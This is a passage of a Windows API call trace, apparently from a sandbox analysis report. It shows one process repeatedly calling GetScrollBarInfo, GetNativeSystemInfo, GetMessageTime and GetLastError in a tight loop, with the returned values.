GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.922] GetMessageTime () returned 0 [0045.922] GetLastError () returned 0x578 [0045.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.922] GetMessageTime () returned 0 [0045.922] GetLastError () returned 0x578 [0045.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.923] GetMessageTime () returned 0 [0045.923] GetLastError () returned 0x578 [0045.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.923] GetMessageTime () returned 0 [0045.923] GetLastError () returned 0x578 [0045.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.923] GetMessageTime () returned 0 [0045.923] GetLastError () returned 0x578 [0045.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.923] GetMessageTime () returned 0 [0045.923] GetLastError () returned 0x578 [0045.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.923] GetMessageTime () returned 0 [0045.923] GetLastError () returned 0x578 [0045.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.923] GetMessageTime () returned 0 [0045.923] GetLastError () returned 0x578 [0045.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.924] GetMessageTime () returned 0 [0045.924] GetLastError () returned 0x578 [0045.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.924] GetMessageTime () returned 0 [0045.924] GetLastError () returned 0x578 [0045.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.924] GetMessageTime () returned 0 [0045.924] GetLastError () returned 0x578 [0045.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.924] GetMessageTime () returned 0 [0045.924] GetLastError () returned 0x578 [0045.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.924] GetMessageTime () returned 0 [0045.924] GetLastError () returned 0x578 [0045.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.924] GetMessageTime () returned 0 [0045.924] GetLastError () returned 0x578 [0045.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.924] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.925] GetMessageTime () returned 0 [0045.925] GetLastError () returned 0x578 [0045.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.925] GetMessageTime () returned 0 [0045.925] GetLastError () returned 0x578 [0045.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.925] GetMessageTime () returned 0 [0045.925] GetLastError () returned 0x578 [0045.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.925] GetMessageTime () returned 0 [0045.925] GetLastError () returned 0x578 [0045.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.925] GetMessageTime () returned 0 [0045.925] GetLastError () returned 0x578 [0045.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.925] GetMessageTime () returned 0 [0045.925] GetLastError () returned 0x578 [0045.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.925] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.926] GetMessageTime () returned 0 [0045.926] GetLastError () returned 0x578 [0045.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.926] GetMessageTime () returned 0 [0045.926] GetLastError () returned 0x578 [0045.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.926] GetMessageTime () returned 0 [0045.926] GetLastError () returned 0x578 [0045.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.926] GetMessageTime () returned 0 [0045.926] GetLastError () returned 0x578 [0045.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.926] GetMessageTime () returned 0 [0045.926] GetLastError () returned 0x578 [0045.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.926] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.926] GetMessageTime () returned 0 [0045.926] GetLastError () returned 0x578 [0045.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.927] GetMessageTime () returned 0 [0045.927] GetLastError () returned 0x578 [0045.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.927] GetMessageTime () returned 0 [0045.927] GetLastError () returned 0x578 [0045.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.927] GetMessageTime () returned 0 [0045.927] GetLastError () returned 0x578 [0045.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.927] GetMessageTime () returned 0 [0045.927] GetLastError () returned 0x578 [0045.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.927] GetMessageTime () returned 0 [0045.927] GetLastError () returned 0x578 [0045.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.927] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.927] GetMessageTime () returned 0 [0045.927] GetLastError () returned 0x578 [0045.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.928] GetMessageTime () returned 0 [0045.928] GetLastError () returned 0x578 [0045.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.928] GetMessageTime () returned 0 [0045.928] GetLastError () returned 0x578 [0045.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.928] GetMessageTime () returned 0 [0045.928] GetLastError () returned 0x578 [0045.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.928] GetMessageTime () returned 0 [0045.928] GetLastError () returned 0x578 [0045.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.928] GetMessageTime () returned 0 [0045.928] GetLastError () returned 0x578 [0045.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.928] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.928] GetMessageTime () returned 0 [0045.928] GetLastError () returned 0x578 [0045.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.929] GetMessageTime () returned 0 [0045.929] GetLastError () returned 0x578 [0045.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.929] GetMessageTime () returned 0 [0045.929] GetLastError () returned 0x578 [0045.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.929] GetMessageTime () returned 0 [0045.929] GetLastError () returned 0x578 [0045.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.929] GetMessageTime () returned 0 [0045.929] GetLastError () returned 0x578 [0045.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.929] GetMessageTime () returned 0 [0045.929] GetLastError () returned 0x578 [0045.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.929] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.929] GetMessageTime () returned 0 [0045.929] GetLastError () returned 0x578 [0045.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.930] GetMessageTime () returned 0 [0045.930] GetLastError () returned 0x578 [0045.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, 